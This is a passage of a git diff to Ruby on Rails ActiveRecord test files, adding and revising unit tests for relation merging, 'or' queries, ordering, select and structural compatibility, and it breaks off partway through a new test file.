+    assert_queries_match(%r{/\* bar \*/ /\* foo \*/}) do
+      Post.annotate("bar").merge(Post.annotate("foo")).first
+    end
+    assert_queries_match(%r{/\* foo \*/ /\* bar \*/ /\* baz \*/ /\* qux \*/}) do
+      Post.annotate("foo").annotate("bar").merge(Post.annotate("baz").annotate("qux")).first
+    end
+  end
+
+  def test_merging_duplicated_annotations
+    posts = Post.annotate("foo")
+    assert_queries_match(%r{FROM #{Regexp.escape(Post.quoted_table_name)} /\* foo \*/\z}) do
+      posts.merge(posts).uniq!(:annotate).to_a
+    end
+
+    assert_queries_match(%r{FROM #{Regexp.escape(Post.quoted_table_name)} /\* foo \*/\z}) do
+      posts.merge(posts).to_a
+    end
+    assert_queries_match(%r{FROM #{Regexp.escape(Post.quoted_table_name)} /\* foo \*/ /\* bar \*/\z}) do
+      Post.annotate("foo").merge(Post.annotate("bar")).merge(posts).to_a
+    end
+    assert_queries_match(%r{FROM #{Regexp.escape(Post.quoted_table_name)} /\* bar \*/ /\* foo \*/\z}) do
+      Post.annotate("bar").merge(Post.annotate("foo")).merge(posts).to_a
+    end
   end
 end
 
 class MergingDifferentRelationsTest < ActiveRecord::TestCase
-  fixtures :posts, :authors, :developers
+  fixtures :posts, :authors, :author_addresses, :developers
 
   test "merging where relations" do
     hello_by_bob = Post.where(body: "hello").joins(:author).
@@ -126,24 +331,27 @@ class MergingDifferentRelationsTest < ActiveRecord::TestCase
 
   test "merging order relations" do
     posts_by_author_name = Post.limit(3).joins(:author).
+      where.not("authors.name": "David").
       merge(Author.order(:name)).pluck("authors.name")
 
-    assert_equal ["Bob", "Bob", "David"], posts_by_author_name
+    assert_equal ["Bob", "Bob", "Mary"], posts_by_author_name
 
     posts_by_author_name = Post.limit(3).joins(:author).
+      where.not("authors.name": "David").
       merge(Author.order("name")).pluck("authors.name")
 
-    assert_equal ["Bob", "Bob", "David"], posts_by_author_name
+    assert_equal ["Bob", "Bob", "Mary"], posts_by_author_name
   end
 
   test "merging order relations (using a hash argument)" do
     posts_by_author_name = Post.limit(4).joins(:author).
+      where.not("authors.name": "David").
       merge(Author.order(name: :desc)).pluck("authors.name")
 
-    assert_equal ["Mary", "Mary", "Mary", "David"], posts_by_author_name
+    assert_equal ["Mary", "Mary", "Mary", "Bob"], posts_by_author_name
   end
 
-  test "relation merging (using a proc  argument)" do
+  test "relation merging (using a proc argument)" do
     dev = Developer.where(name: "Jamis").first
 
     comment_1 = dev.comments.create!(body: "I'm Jamis", post: Post.first)
@@ -154,4 +362,33 @@ class MergingDifferentRelationsTest < ActiveRecord::TestCase
 
     assert_equal dev.ratings, [rating_1]
   end
+
+  if ActiveRecord::Base.lease_connection.supports_common_table_expressions?
+    test "merging relation with common table expression" do
+      posts_with_tags = Post.with(posts_with_tags: Post.where("tags_count > 0")).from("posts_with_tags AS posts")
+      posts_with_comments = Post.where("legacy_comments_count > 0")
+      relation = posts_with_comments.merge(posts_with_tags).order("posts.id")
+
+      assert_equal [1, 2, 7], relation.pluck(:id)
+    end
+
+    test "merging multiple relations with common table expression" do
+      posts_with_tags = Post.with(posts_with_tags: Post.where("tags_count > 0"))
+      posts_with_comments = Post.with(posts_with_comments: Post.where("legacy_comments_count > 0"))
+      relation = posts_with_comments.merge(posts_with_tags)
+        .joins("JOIN posts_with_tags pwt ON pwt.id = posts.id JOIN posts_with_comments pwc ON pwc.id = posts.id").order("posts.id")
+
+      assert_equal [1, 2, 7], relation.pluck(:id)
+    end
+
+    test "relation merger leaves to database to decide what to do when multiple CTEs with same alias are passed" do
+      posts_with_tags = Post.with(popular_posts: Post.where("tags_count > 0"))
+      posts_with_comments = Post.with(popular_posts: Post.where("legacy_comments_count > 0"))
+      relation = posts_with_tags.merge(posts_with_comments).joins("JOIN popular_posts pp ON pp.id = posts.id")
+
+      assert_raises ActiveRecord::StatementInvalid do
+        relation.load
+      end
+    end
+  end
 end
diff --git a/activerecord/test/cases/relation/mutation_test.rb b/activerecord/test/cases/relation/mutation_test.rb
index 4f92f71a0969d..e5fa88f5e1849 100644
--- a/activerecord/test/cases/relation/mutation_test.rb
+++ b/activerecord/test/cases/relation/mutation_test.rb
@@ -1,42 +1,11 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 
 module ActiveRecord
   class RelationMutationTest < ActiveRecord::TestCase
-    FakeKlass = Struct.new(:table_name, :name) do
-      extend ActiveRecord::Delegation::DelegateCache
-      inherited self
-
-      def connection
-        Post.connection
-      end
-
-      def relation_delegate_class(klass)
-        self.class.relation_delegate_class(klass)
-      end
-
-      def attribute_alias?(name)
-        false
-      end
-
-      def sanitize_sql(sql)
-        sql
-      end
-
-      def sanitize_sql_for_order(sql)
-        sql
-      end
-
-      def arel_attribute(name, table)
-        table[name]
-      end
-    end
-
-    def relation
-      @relation ||= Relation.new FakeKlass.new("posts"), Post.arel_table, Post.predicate_builder
-    end
-
-    (Relation::MULTI_VALUE_METHODS - [:references, :extending, :order, :unscope, :select, :left_joins]).each do |method|
+    (Relation::MULTI_VALUE_METHODS - [:extending, :order, :unscope, :select, :with]).each do |method|
       test "##{method}!" do
         assert relation.public_send("#{method}!", :foo).equal?(relation)
         assert_equal [:foo], relation.public_send("#{method}_values")
@@ -56,22 +25,15 @@ def relation
     test "#order! with symbol prepends the table name" do
       assert relation.order!(:name).equal?(relation)
       node = relation.order_values.first
-      assert node.ascending?
-      assert_equal :name, node.expr.name
+      assert_predicate node, :ascending?
+      assert_equal "name", node.expr.name
       assert_equal "posts", node.expr.relation.name
     end
 
     test "#order! on non-string does not attempt regexp match for references" do
       obj = Object.new
-      assert_not_called(obj, :=~) do
-        assert relation.order!(obj)
-        assert_equal [obj], relation.order_values
-      end
-    end
-
-    test "#references!" do
-      assert relation.references!(:foo).equal?(relation)
-      assert_includes relation.references_values, "foo"
+      assert relation.order!(obj)
+      assert_equal [obj], relation.order_values
     end
 
     test "extending!" do
@@ -90,7 +52,12 @@ def relation
       assert_equal [], relation.extending_values
     end
 
-    (Relation::SINGLE_VALUE_METHODS - [:lock, :reordering, :reverse_order, :create_with]).each do |method|
+    test "#limit!" do
+      assert relation.limit!(5).equal?(relation)
+      assert_equal 5, relation.limit_value
+    end
+
+    (Relation::SINGLE_VALUE_METHODS - [:limit, :lock, :reordering, :reverse_order, :create_with, :skip_query_cache, :strict_loading]).each do |method|
       test "##{method}!" do
         assert relation.public_send("#{method}!", :foo).equal?(relation)
         assert_equal :foo, relation.public_send("#{method}_value")
@@ -119,8 +86,8 @@ def relation
       assert relation.reorder!(:name).equal?(relation)
       node = relation.order_values.first
 
-      assert node.ascending?
-      assert_equal :name, node.expr.name
+      assert_predicate node, :ascending?
+      assert_equal "name", node.expr.name
       assert_equal "posts", node.expr.relation.name
     end
 
@@ -143,7 +110,7 @@ def relation
       assert_equal({ foo: "bar" }, relation.create_with_value)
     end
 
-    test "test_merge!" do
+    test "merge!" do
       assert relation.merge!(select: :foo).equal?(relation)
       assert_equal [:foo], relation.select_values
     end
@@ -154,13 +121,35 @@ def relation
 
     test "none!" do
       assert relation.none!.equal?(relation)
-      assert_equal [NullRelation], relation.extending_values
-      assert relation.is_a?(NullRelation)
+      assert_predicate relation, :none?
+      assert_predicate relation, :null_relation?
     end
 
     test "distinct!" do
       relation.distinct! :foo
       assert_equal :foo, relation.distinct_value
     end
+
+    test "skip_query_cache!" do
+      relation.skip_query_cache!
+      assert relation.skip_query_cache_value
+    end
+
+    test "skip_preloading!" do
+      relation.skip_preloading!
+      assert relation.skip_preloading_value
+    end
+
+    test "#regroup!" do
+      @relation = relation.group("foo")
+
+      assert relation.regroup!("bar").equal?(relation)
+      assert_equal ["bar"], relation.group_values
+    end
+
+    private
+      def relation
+        @relation ||= Relation.new(FakeKlass)
+      end
   end
 end
diff --git a/activerecord/test/cases/relation/or_test.rb b/activerecord/test/cases/relation/or_test.rb
index abb7ca72ddf51..5ebea23539901 100644
--- a/activerecord/test/cases/relation/or_test.rb
+++ b/activerecord/test/cases/relation/or_test.rb
@@ -1,9 +1,15 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "models/author"
+require "models/categorization"
 require "models/post"
+require "models/book"
+require "models/paragraph"
 
 module ActiveRecord
   class OrTest < ActiveRecord::TestCase
-    fixtures :posts
+    fixtures :posts, :authors, :author_addresses
 
     def test_or_with_relation
       expected = Post.where("id = 1 or id = 2").to_a
@@ -25,8 +31,13 @@ def test_or_with_null_right
       assert_equal expected, Post.where("id = 1").or(Post.none).to_a
     end
 
+    def test_or_with_large_number
+      expected = Post.where("id = 1 or id = 9223372036854775808").to_a
+      assert_equal expected, Post.where(id: 1).or(Post.where(id: 9223372036854775808)).to_a
+    end
+
     def test_or_with_bind_params
-      assert_equal Post.find([1, 2]), Post.where(id: 1).or(Post.where(id: 2)).to_a
+      assert_equal Post.find([1, 2]).sort_by(&:id), Post.where(id: 1).or(Post.where(id: 2)).sort_by(&:id)
     end
 
     def test_or_with_null_both
@@ -51,7 +62,15 @@ def test_or_preserves_other_querying_methods
       assert_equal expected, Post.order("body asc").where("id = 1").or(Post.order("body asc").where(id: [2, 3])).to_a
     end
 
-    def test_or_with_incompatible_relations
+    def test_or_with_incompatible_single_value_relations
+      error = assert_raises ArgumentError do
+        Post.distinct.where("id = 1").or(Post.where(id: [2, 3])).to_a
+      end
+
+      assert_equal "Relation passed to #or must be structurally compatible. Incompatible values: [:distinct]", error.message
+    end
+
+    def test_or_with_incompatible_multi_value_relations
       error = assert_raises ArgumentError do
         Post.order("body asc").where("id = 1").or(Post.order("id desc").where(id: [2, 3])).to_a
       end
@@ -59,10 +78,36 @@ def test_or_with_incompatible_relations
       assert_equal "Relation passed to #or must be structurally compatible. Incompatible values: [:order]", error.message
     end
 
+    def test_or_with_unscope_where
+      expected = Post.where("id = 1 or id = 2")
+      partial = Post.where("id = 1 and id != 2")
+      assert_equal expected, partial.or(partial.unscope(:where).where("id = 2")).to_a
+    end
+
+    def test_or_with_unscope_where_column
+      expected = Post.where("id = 1 or id = 2")
+      partial = Post.where(id: 1).where.not(id: 2)
+      assert_equal expected, partial.or(partial.unscope(where: :id).where("id = 2")).to_a
+    end
+
+    def test_or_with_unscope_order
+      expected = Post.where("id = 1 or id = 2").sort_by(&:id)
+      assert_equal expected, Post.order("body asc").where("id = 1").unscope(:order).or(Post.where("id = 2")).sort_by(&:id)
+      assert_equal expected, Post.order(:id).where("id = 1").or(Post.order(:id).where("id = 2").unscope(:order)).sort_by(&:id)
+    end
+
+    def test_or_with_incompatible_unscope
+      error = assert_raises ArgumentError do
+        Post.order("body asc").where("id = 1").unscope(:order).or(Post.order("body asc").where("id = 2")).to_a
+      end
+
+      assert_equal "Relation passed to #or must be structurally compatible. Incompatible values: [:order]", error.message
+    end
+
     def test_or_when_grouping
-      groups = Post.where("id < 10").group("body").select("body, COUNT(*) AS c")
-      expected = groups.having("COUNT(*) > 1 OR body like 'Such%'").to_a.map { |o| [o.body, o.c] }
-      assert_equal expected, groups.having("COUNT(*) > 1").or(groups.having("body like 'Such%'")).to_a.map { |o| [o.body, o.c] }
+      groups = Post.where("id < 10").group("body")
+      expected = groups.having("COUNT(*) > 1 OR body like 'Such%'").count
+      assert_equal expected, groups.having("COUNT(*) > 1").or(groups.having("body like 'Such%'")).count
     end
 
     def test_or_with_named_scope
@@ -75,6 +120,11 @@ def test_or_inside_named_scope
       assert_equal expected, Post.order(id: :desc).typographically_interesting
     end
 
+    def test_or_with_sti_relation
+      expected = Post.where("id = 1 or id = 2").sort_by(&:id)
+      assert_equal expected, Post.where(id: 1).or(SpecialPost.all).sort_by(&:id)
+    end
+
     def test_or_on_loaded_relation
       expected = Post.where("id = 1 or id = 2").to_a
       p = Post.where("id = 1")
@@ -84,9 +134,62 @@ def test_or_on_loaded_relation
     end
 
     def test_or_with_non_relation_object_raises_error
-      assert_raises ArgumentError do
+      error = assert_raises ArgumentError do
         Post.where(id: [1, 2, 3]).or(title: "Rails")
       end
+
+      assert_equal "You have passed Hash object to #or. Pass an ActiveRecord::Relation object instead.", error.message
+    end
+
+    def test_or_with_references_inequality
+      joined = Post.includes(:author)
+      actual = joined.where(authors: { id: 1 })
+        .or(joined.where(title: "I don't have any comments"))
+      expected = Author.find(1).posts + Post.where(title: "I don't have any comments")
+      assert_equal expected.sort_by(&:id), actual.sort_by(&:id)
+    end
+
+    def test_or_with_scope_on_association
+      author = Author.first
+      assert_nothing_raised do
+        author.top_posts.or(author.other_top_posts)
+      end
+    end
+
+    def test_or_with_annotate
+      quoted_posts = Regexp.escape(Post.quoted_table_name)
+      assert_match %r{#{quoted_posts} /\* foo \*/\z}, Post.annotate("foo").or(Post.all).to_sql
+      assert_match %r{#{quoted_posts} /\* foo \*/\z}, Post.annotate("foo").or(Post.annotate("foo")).to_sql
+      assert_match %r{#{quoted_posts} /\* foo \*/\z}, Post.annotate("foo").or(Post.annotate("bar")).to_sql
+      assert_match %r{#{quoted_posts} /\* foo \*/ /\* bar \*/\z}, Post.annotate("foo", "bar").or(Post.annotate("foo")).to_sql
+    end
+
+    def test_structurally_incompatible_values
+      assert_nothing_raised do
+        Post.includes(:author).includes(:author).or(Post.includes(:author))
+        Post.eager_load(:author).eager_load(:author).or(Post.eager_load(:author))
+        Post.preload(:author).preload(:author).or(Post.preload(:author))
+        Post.group(:author_id).group(:author_id).or(Post.group(:author_id))
+        Post.joins(:author).joins(:author).or(Post.joins(:author))
+        Post.left_outer_joins(:author).left_outer_joins(:author).or(Post.left_outer_joins(:author))
+        Post.from("posts").or(Post.from("posts"))
+      end
+    end
+  end
+
+  # The maximum expression tree depth is 1000 by default for SQLite3.
+  # https://www.sqlite.org/limits.html#max_expr_depth
+  class TooManyOrTest < ActiveRecord::TestCase
+    unless current_adapter?(:SQLite3Adapter)
+      fixtures :paragraphs
+
+      def test_too_many_or
+        paragraphs = 1001.times.map do |i|
+          Paragraph.where(id: i, book_id: i * i)
+        end
+
+        assert_equal 1001, paragraphs.inject(&:or).count
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/relation/order_test.rb b/activerecord/test/cases/relation/order_test.rb
new file mode 100644
index 0000000000000..f6989b8396ebd
--- /dev/null
+++ b/activerecord/test/cases/relation/order_test.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/author"
+require "models/book"
+
+class OrderTest < ActiveRecord::TestCase
+  fixtures :authors, :author_addresses
+
+  def setup
+    Book.delete_all
+  end
+
+  def test_order_asc
+    z = Book.create!(name: "Zulu", author: authors(:david))
+    y = Book.create!(name: "Yankee", author: authors(:mary))
+    x = Book.create!(name: "X-Ray", author: authors(:david))
+
+    alphabetical = [x, y, z]
+
+    assert_equal(alphabetical, Book.order(name: :asc))
+    assert_equal(alphabetical, Book.order(name: :ASC))
+    assert_equal(alphabetical, Book.order(name: "asc"))
+    assert_equal(alphabetical, Book.order(:name))
+    assert_equal(alphabetical, Book.order("name"))
+    assert_equal(alphabetical, Book.order("books.name"))
+    assert_equal(alphabetical, Book.order(Book.arel_table["name"]))
+    assert_equal(alphabetical, Book.order(books: { name: :asc }))
+  end
+
+  def test_order_desc
+    z = Book.create!(name: "Zulu", author: authors(:david))
+    y = Book.create!(name: "Yankee", author: authors(:mary))
+    x = Book.create!(name: "X-Ray", author: authors(:david))
+
+    reverse_alphabetical = [z, y, x]
+
+    assert_equal(reverse_alphabetical, Book.order(name: :desc))
+    assert_equal(reverse_alphabetical, Book.order(name: :DESC))
+    assert_equal(reverse_alphabetical, Book.order(name: "desc"))
+    assert_equal(reverse_alphabetical, Book.order(:name).reverse_order)
+    assert_equal(reverse_alphabetical, Book.order("name desc"))
+    assert_equal(reverse_alphabetical, Book.order("books.name desc"))
+    assert_equal(reverse_alphabetical, Book.order(Book.arel_table["name"].desc))
+    assert_equal(reverse_alphabetical, Book.order(books: { name: :desc }))
+  end
+
+  def test_order_with_association
+    z = Book.create!(name: "Zulu", author: authors(:david))
+    y = Book.create!(name: "Yankee", author: authors(:mary))
+    x = Book.create!(name: "X-Ray", author: authors(:david))
+
+    author_then_book_name = [x, z, y]
+
+    assert_equal(author_then_book_name, Book.includes(:author).order(authors: { name: :asc }, books: { name: :asc }))
+    assert_equal(author_then_book_name, Book.includes(:author).order("authors.name", books: { name: :asc }))
+    assert_equal(author_then_book_name, Book.includes(:author).order("authors.name", "books.name"))
+    assert_equal(author_then_book_name, Book.includes(:author).order({ authors: { name: :asc } }, Book.arel_table[:name]))
+    assert_equal(author_then_book_name, Book.includes(:author).order(Author.arel_table[:name], Book.arel_table[:name]))
+
+    author_desc_then_book_name = [y, x, z]
+
+    assert_equal(author_desc_then_book_name, Book.includes(:author).order(authors: { name: :desc }, books: { name: :asc }))
+    assert_equal(author_desc_then_book_name, Book.includes(:author).order("authors.name desc", books: { name: :asc }))
+    assert_equal(author_desc_then_book_name, Book.includes(:author).order(Author.arel_table[:name].desc, books: { name: :asc }))
+    assert_equal(author_desc_then_book_name, Book.includes(:author).order({ authors: { name: :desc } }, :name))
+  end
+
+  def test_order_with_association_alias
+    z = Book.create!(name: "Zulu", author: authors(:david))
+    y = Book.create!(name: "Yankee", author: authors(:mary))
+    x = Book.create!(name: "X-Ray", author: authors(:david))
+
+    author_name = Author.arel_table.alias("author")[:name]
+
+    author_then_book_name = [x, z, y]
+
+    assert_equal(author_then_book_name, Book.includes(:author).order(author: { name: :asc }, books: { name: :asc }))
+    assert_equal(author_then_book_name, Book.includes(:author).order("author.name", books: { name: :asc }))
+    assert_equal(author_then_book_name, Book.includes(:author).order({ author: { name: :asc } }, :name))
+    assert_equal(author_then_book_name, Book.includes(:author).order(author_name, :name))
+
+    author_desc_then_book_name = [y, x, z]
+
+    assert_equal(author_desc_then_book_name, Book.includes(:author).order(author: { name: :desc }, books: { name: :asc }))
+    assert_equal(author_desc_then_book_name, Book.includes(:author).order("author.name desc", books: { name: :asc }))
+    assert_equal(author_desc_then_book_name, Book.includes(:author).order({ author: { name: :desc } }, :name))
+    assert_equal(author_desc_then_book_name, Book.includes(:author).order(author_name.desc, :name))
+  end
+end
diff --git a/activerecord/test/cases/relation/predicate_builder_test.rb b/activerecord/test/cases/relation/predicate_builder_test.rb
index 48758dc1480f7..557df50f57bd5 100644
--- a/activerecord/test/cases/relation/predicate_builder_test.rb
+++ b/activerecord/test/cases/relation/predicate_builder_test.rb
@@ -1,16 +1,46 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "models/topic"
+require "models/reply"
 
 module ActiveRecord
   class PredicateBuilderTest < ActiveRecord::TestCase
-    def test_registering_new_handlers
+    def setup
       Topic.predicate_builder.register_handler(Regexp, proc do |column, value|
-        Arel::Nodes::InfixOperation.new("~", column, Arel.sql(value.source))
+        Arel::Nodes::InfixOperation.new("~", column, Arel::Nodes.build_quoted(value.source))
       end)
+    end
+
+    def teardown
+      Topic.class_eval { @predicate_builder = nil }
+    end
+
+    def test_registering_new_handlers
+      assert_match %r{#{Regexp.escape(quote_table_name("topics.title"))} ~ 'rails'}i, Topic.where(title: /rails/).to_sql
+    end
+
+    def test_registering_new_handlers_for_association
+      assert_match %r{#{Regexp.escape(quote_table_name("topics.title"))} ~ 'rails'}i, Reply.joins(:topic).where(topics: { title: /rails/ }).to_sql
+    end
+
+    def test_registering_new_handlers_for_joins
+      Reply.belongs_to :regexp_topic, -> { where(title: /rails/) }, class_name: "Topic", foreign_key: "parent_id"
+
+      assert_match %r{#{Regexp.escape(quote_table_name("regexp_topic.title"))} ~ 'rails'}i, Reply.joins(:regexp_topic).references(Arel.sql("regexp_topic")).to_sql
+    end
+
+    def test_references_with_schema
+      assert_equal %w{schema.table}, ActiveRecord::PredicateBuilder.references(%w{schema.table.column})
+    end
+
+    def test_build_from_hash_with_schema
+      assert_match %r{schema.+table.+column}i, Topic.predicate_builder.build_from_hash("schema.table.column" => "value").first.to_sql
+    end
 
-      assert_match %r{["`]topics["`]\.["`]title["`] ~ rails}i, Topic.where(title: /rails/).to_sql
-    ensure
-      Topic.reset_column_information
+    def test_does_not_mutate
+      defaults = { topics: { title: "rails" }, "topics.approved" => true }
+      Topic.where(defaults).to_sql
+      assert_equal({ topics: { title: "rails" }, "topics.approved" => true }, defaults)
     end
   end
 end
diff --git a/activerecord/test/cases/relation/record_fetch_warning_test.rb b/activerecord/test/cases/relation/record_fetch_warning_test.rb
deleted file mode 100644
index 62ca0514318be..0000000000000
--- a/activerecord/test/cases/relation/record_fetch_warning_test.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-require "cases/helper"
-require "models/post"
-require "active_record/relation/record_fetch_warning"
-
-module ActiveRecord
-  class RecordFetchWarningTest < ActiveRecord::TestCase
-    fixtures :posts
-
-    def setup
-      @original_logger = ActiveRecord::Base.logger
-      @original_warn_on_records_fetched_greater_than = ActiveRecord::Base.warn_on_records_fetched_greater_than
-      @log = StringIO.new
-    end
-
-    def teardown
-      ActiveRecord::Base.logger = @original_logger
-      ActiveRecord::Base.warn_on_records_fetched_greater_than = @original_warn_on_records_fetched_greater_than
-    end
-
-    def test_warn_on_records_fetched_greater_than_allowed_limit
-      ActiveRecord::Base.logger = ActiveSupport::Logger.new(@log)
-      ActiveRecord::Base.logger.level = Logger::WARN
-      ActiveRecord::Base.warn_on_records_fetched_greater_than = 1
-
-      Post.all.to_a
-
-      assert_match(/Query fetched/, @log.string)
-    end
-
-    def test_does_not_warn_on_records_fetched_less_than_allowed_limit
-      ActiveRecord::Base.logger = ActiveSupport::Logger.new(@log)
-      ActiveRecord::Base.logger.level = Logger::WARN
-      ActiveRecord::Base.warn_on_records_fetched_greater_than = 100
-
-      Post.all.to_a
-
-      assert_no_match(/Query fetched/, @log.string)
-    end
-  end
-end
diff --git a/activerecord/test/cases/relation/select_test.rb b/activerecord/test/cases/relation/select_test.rb
new file mode 100644
index 0000000000000..784d9ffc97e14
--- /dev/null
+++ b/activerecord/test/cases/relation/select_test.rb
@@ -0,0 +1,219 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/comment"
+
+module ActiveRecord
+  class SelectTest < ActiveRecord::TestCase
+    fixtures :posts, :comments
+
+    def test_select_with_nil_argument
+      expected = %r/\ASELECT #{Regexp.escape(quote_table_name("posts.title"))} FROM/
+      assert_match expected, Post.select(nil).select(:title).to_sql
+    end
+
+    def test_select_with_non_field_values
+      expected = %r/\ASELECT 1, foo\(\), #{Regexp.escape(quote_table_name("bar"))} FROM/
+      assert_match expected, Post.select("1", "foo()", :bar).to_sql
+    end
+
+    def test_select_with_non_field_hash_values
+      q = -> name { Regexp.escape(quote_table_name(name)) }
+      expected = %r/\ASELECT 1 AS #{q["a"]}, foo\(\) AS #{q["b"]}, #{q["bar"]} AS #{q["c"]} FROM/
+      assert_match expected, Post.select("1" => :a, "foo()" => :b, :bar => :c).to_sql
+    end
+
+    def test_select_with_hash_argument
+      post = Post.select("UPPER(title)" => :title, posts: { title: :post_title }).first
+
+      assert_equal "WELCOME TO THE WEBLOG", post.title
+      assert_equal "Welcome to the weblog", post.post_title
+    end
+
+    def test_select_with_reserved_words_aliases
+      post = Post.select("UPPER(title)" => :from, title: :group).first
+
+      assert_equal "WELCOME TO THE WEBLOG", post.from
+      assert_equal "Welcome to the weblog", post.group
+    end
+
+    def test_select_with_one_level_hash_argument
+      post = Post.select("UPPER(title)" => :title, title: :post_title).first
+
+      assert_equal "WELCOME TO THE WEBLOG", post.title
+      assert_equal "Welcome to the weblog", post.post_title
+    end
+
+    def test_select_with_not_exists_field
+      q = -> name { Regexp.escape(quote_table_name(name)) }
+      expected = %r/\ASELECT #{q["foo"]} AS #{q["post_title"]} FROM/
+      assert_match expected, Post.select(foo: :post_title).to_sql
+
+      skip if sqlite3_adapter_strict_strings_disabled?
+
+      assert_raises(ActiveRecord::StatementInvalid) do
+        Post.select(foo: :post_title).take
+      end
+    end
+
+    def test_select_with_hash_with_not_exists_field
+      q = -> name { Regexp.escape(quote_table_name(name)) }
+      expected = %r/\ASELECT #{q["posts.bar"]} AS #{q["post_title"]} FROM/
+      assert_match expected, Post.select(posts: { bar: :post_title }).to_sql
+
+      assert_raises(ActiveRecord::StatementInvalid) do
+        Post.select(posts: { boo: :post_title }).take
+      end
+    end
+
+    def test_select_with_hash_array_value_with_not_exists_field
+      q = -> name { Regexp.escape(quote_table_name(name)) }
+      expected = %r/\ASELECT #{q["posts.bar"]}, #{q["posts.id"]} FROM/
+      assert_match expected, Post.select(posts: [:bar, :id]).to_sql
+
+      assert_raises(ActiveRecord::StatementInvalid) do
+        Post.select(posts: [:bar, :id]).take
+      end
+    end
+
+    def test_select_with_hash_and_table_alias
+      post = Post.joins(:comments, :comments_with_extend)
+        .select(
+          :title,
+          posts: { title: :post_title },
+          comments: { body: :comment_body },
+          comments_with_extend: { body: :comment_body_2 }
+        )
+        .take
+
+      assert_equal post.title, post.post_title
+      assert_not_nil post.comment_body
+      assert_not_nil post.comment_body_2
+    end
+
+    def test_select_with_invalid_nested_field
+      assert_raises(ActiveRecord::StatementInvalid) do
+        Post.select(posts: { "UPPER(title)" => :post_title }).take
+      end
+      assert_raises(ActiveRecord::StatementInvalid) do
+        Post.select(posts: ["UPPER(title)"]).take
+      end
+    end
+
+    def test_select_with_hash_argument_without_aliases
+      post = Post.select(posts: [:title, "title as post_title"]).first
+      assert_equal "Welcome to the weblog", post.title
+      assert_equal "Welcome to the weblog", post.post_title
+    end
+
+    def test_select_with_hash_argument_with_few_tables
+      post = Post.joins(:comments).select(:title, posts: { title: :post_title }, comments: { body: :comment_body }).take
+
+      assert_equal post.title, post.post_title
+      assert_not_nil post.comment_body
+      assert_not_nil post.post_title
+    end
+
+    def test_reselect
+      expected = Post.select(:title).to_sql
+      assert_equal expected, Post.select(:title, :body).reselect(:title).to_sql
+    end
+
+    def test_reselect_with_default_scope_select
+      expected = Post.select(:title).to_sql
+      actual   = PostWithDefaultSelect.reselect(:title).to_sql
+
+      assert_equal expected, actual
+    end
+
+    def test_reselect_with_hash_argument
+      expected = Post.select(:title, posts: { title: :post_title }).to_sql
+      actual = Post.select(:title, :body).reselect(:title, posts: { title: :post_title }).to_sql
+      assert_equal expected, actual
+    end
+
+    def test_reselect_with_one_level_hash_argument
+      expected = Post.select(:title, title: :post_title).to_sql
+      actual = Post.select(:title, :body).reselect(:title, title: :post_title).to_sql
+      assert_equal expected, actual
+    end
+
+    def test_non_select_columns_wont_be_loaded
+      posts = Post.select("UPPER(title) AS title")
+
+      assert_non_select_columns_wont_be_loaded(posts.first)
+      assert_non_select_columns_wont_be_loaded(posts.preload(:comments).first)
+      assert_non_select_columns_wont_be_loaded(posts.eager_load(:comments).first)
+    end
+
+    def assert_non_select_columns_wont_be_loaded(post)
+      assert_equal "WELCOME TO THE WEBLOG", post.title
+      assert_raise(ActiveModel::MissingAttributeError, match: /attribute 'body' for Post/) do
+        post.body
+      end
+    end
+    private :assert_non_select_columns_wont_be_loaded
+
+    def test_merging_select_from_different_model
+      posts = Post.select(:id, :title).joins(:comments)
+      comments = Comment.where(body: "Thank you for the welcome")
+
+      [
+        posts.merge(comments.select(:body)).first,
+        posts.merge(comments.select("comments.body")).first,
+      ].each do |post|
+        assert_equal 1, post.id
+        assert_equal "Welcome to the weblog", post.title
+        assert_equal "Thank you for the welcome", post.body
+      end
+    end
+
+    def test_type_casted_extra_select_with_eager_loading
+      posts = Post.select("posts.id * 1.1 AS foo").eager_load(:comments)
+      assert_equal 1.1, posts.first.foo
+    end
+
+    def test_aliased_select_using_as_with_joins_and_includes
+      posts = Post.select("posts.id AS field_alias").joins(:comments).includes(:comments)
+      assert_equal %w(id field_alias), posts.first.attributes.keys
+    end
+
+    def test_aliased_select_not_using_as_with_joins_and_includes
+      posts = Post.select("posts.id field_alias").joins(:comments).includes(:comments)
+      assert_equal %w(id field_alias), posts.first.attributes.keys
+    end
+
+    def test_star_select_with_joins_and_includes
+      posts = Post.select("posts.*").joins(:comments).includes(:comments)
+      assert_equal %w(
+        id author_id title body type legacy_comments_count taggings_with_delete_all_count taggings_with_destroy_count
+        tags_count indestructible_tags_count tags_with_destroy_count tags_with_nullify_count
+      ), posts.first.attributes.keys
+    end
+
+    def test_enumerate_columns_in_select_statements
+      original_value = Post.enumerate_columns_in_select_statements
+      Post.enumerate_columns_in_select_statements = true
+      sql = Post.all.to_sql
+      Post.column_names.each do |column_name|
+        assert_includes sql, column_name
+      end
+    ensure
+      Post.enumerate_columns_in_select_statements = original_value
+    end
+
+    def test_select_without_any_arguments
+      error = assert_raises(ArgumentError) { Post.select }
+      assert_equal "Call `select' with at least one field.", error.message
+    end
+
+    def test_select_with_block_without_any_arguments
+      error = assert_raises(ArgumentError) do
+        Post.select("invalid_argument") { }
+      end
+
+      assert_equal "`select' with block doesn't take arguments.", error.message
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation/structural_compatibility_test.rb b/activerecord/test/cases/relation/structural_compatibility_test.rb
new file mode 100644
index 0000000000000..0c79b29254de2
--- /dev/null
+++ b/activerecord/test/cases/relation/structural_compatibility_test.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+
+module ActiveRecord
+  class StructuralCompatibilityTest < ActiveRecord::TestCase
+    fixtures :posts
+
+    def test_compatible_values
+      left = Post.where(id: 1)
+      right = Post.where(id: 2)
+
+      assert left.structurally_compatible?(right)
+    end
+
+    def test_incompatible_single_value_relations
+      left = Post.distinct.where("id = 1")
+      right = Post.where(id: [2, 3])
+
+      assert_not left.structurally_compatible?(right)
+    end
+
+    def test_incompatible_multi_value_relations
+      left = Post.order("body asc").where("id = 1")
+      right = Post.order("id desc").where(id: [2, 3])
+
+      assert_not left.structurally_compatible?(right)
+    end
+
+    def test_incompatible_unscope
